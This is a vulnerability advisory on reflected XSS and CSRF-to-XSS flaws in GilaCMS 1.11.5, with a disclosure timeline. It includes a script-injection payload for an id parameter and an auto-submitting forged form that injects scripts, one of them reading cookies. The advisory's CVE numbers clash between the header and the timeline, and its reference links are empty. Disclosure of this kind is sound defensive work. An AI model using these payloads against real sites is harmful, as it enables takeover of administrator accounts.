=====[ Tempest Security Intelligence - ADV-07/2020 ]==========================

GilaCMS - Version 1.11.5

Author: Rodolfo Tavares

Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of Contents]==================================================
 * Overview
 * Detailed description
 * Timeline of disclosure
 * Thanks & Acknowledgements
 * References

=====[ Vulnerability Information]=============================================
 * Class: Improper Neutralization of Input During Web Page Generation
 ('Cross-site Scripting') [CWE-79], Cross-Site Request Forgery
 (CSRF) [CWE-352]

 * CVSS:6.8.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

 * CVE-2019-20804, CVE-2019-20803

=====[ Overview]========================================================
 * System affected : GilaCMS - Version 1.11.5
 * Software Version : Version 1.11.5 (other versions may also be affected).
 * Impacts :

 * XSS: Gila CMS before 1.11.6 is vulnerable to reflected XSS via the admin/content/postcategory in the id parameter, which is mishandled by g_preview_them.

 * XSS and CSRF: Gila CMS before 1.11.6 allows for CSRF resulting in XSS via the admin/themes URI, leading to full compromise of the admin account.

=====[ Detailed description]=================================================

1- XSS at [|*] id parameter:

To exploit the XSS via GET in the endpoint *cm/edit_form/postcategory* and parameter *id*, just insert a double quotes character (") to escape the string the, close the current by adding a ">" then include a javascript payload. Follows an example:

 * ["><script>alert(1)</script>]

2- CSRF and XSS at admin/themes:

The following HTML code exploits both XSS and CSRF vulnerabilities. The admin/themes form is vulnerable to CSRF due to the lack of anti-CSRF tokens, and to XSS due to no proper validations of its inputs. To exploit these vulnerabilities, an attacker should host the following form and trick the administrator into visit this page. 

<html> <body> <script>history.pushState('', '', '/') </script>
<form action="" method="POST" enctype="multipart/form-data"> 
<input type="hidden" name="option[color]" value="#e91428" /> 
<input type="hidden" name="option[header-title]" value="Test" />
 <input type="hidden" name="option[header-text]" value=""><script>alert(document.cookie)</script><!--" /> 
 <input type="hidden" name="option[header-image]" value="" /> 
 <input type="hidden" name="option[about-title]" value="<script>alert(0)<script>" /> 
 <input type="hidden" name="option[about-text]" value="<script>alert(3)<script>" /> 
 <input type="hidden" name="option[service-category]" value="1" />
 <input type="hidden" name="option[project-category]"value="1" /> 
 <input type="hidden" name="option[contact-title]"value="<script>alert(4)<script>" /> 
 <input type="hidden" name="option[contact-text]" value="<script>alert(5)<script>" /> 
 <input type="hidden" name="option[contact-email]" value="<script>alert(6)<script>" /> 
 <input type="hidden" name="option[contact-phone]" value="<script>alert(7)<script>" /> 
 <input type="submit" value="Submit request" /></form> 
 document.forms[0].submit(); </script> 

=====[ Timeline of disclosure]===============================================

29/Oct/2019 - Responsible disclosure was initiated with the vendor.
02/Nov/2019 - GilaCms confirmed the issue;
07/Nov/2019 - The vendor fixed the vulnerability CSRF.
07/Nov/2019 - The vendor fixed the vulnerability XSS.
22/May/2020 - CVEs was assigned and reserved as CVE-2019-13364 CVE-2019-13363

=====[ Thanks & Acknowledgements]========================================
 * Tempest Security Intelligence [5]

=====[ References ]=====================================================

[1][ []|]
[2][ []|]
[3][ []]
[4][ []]
[5][ [|]|]

=====[ EOF ]===========================================================

# [2020-07-19]  #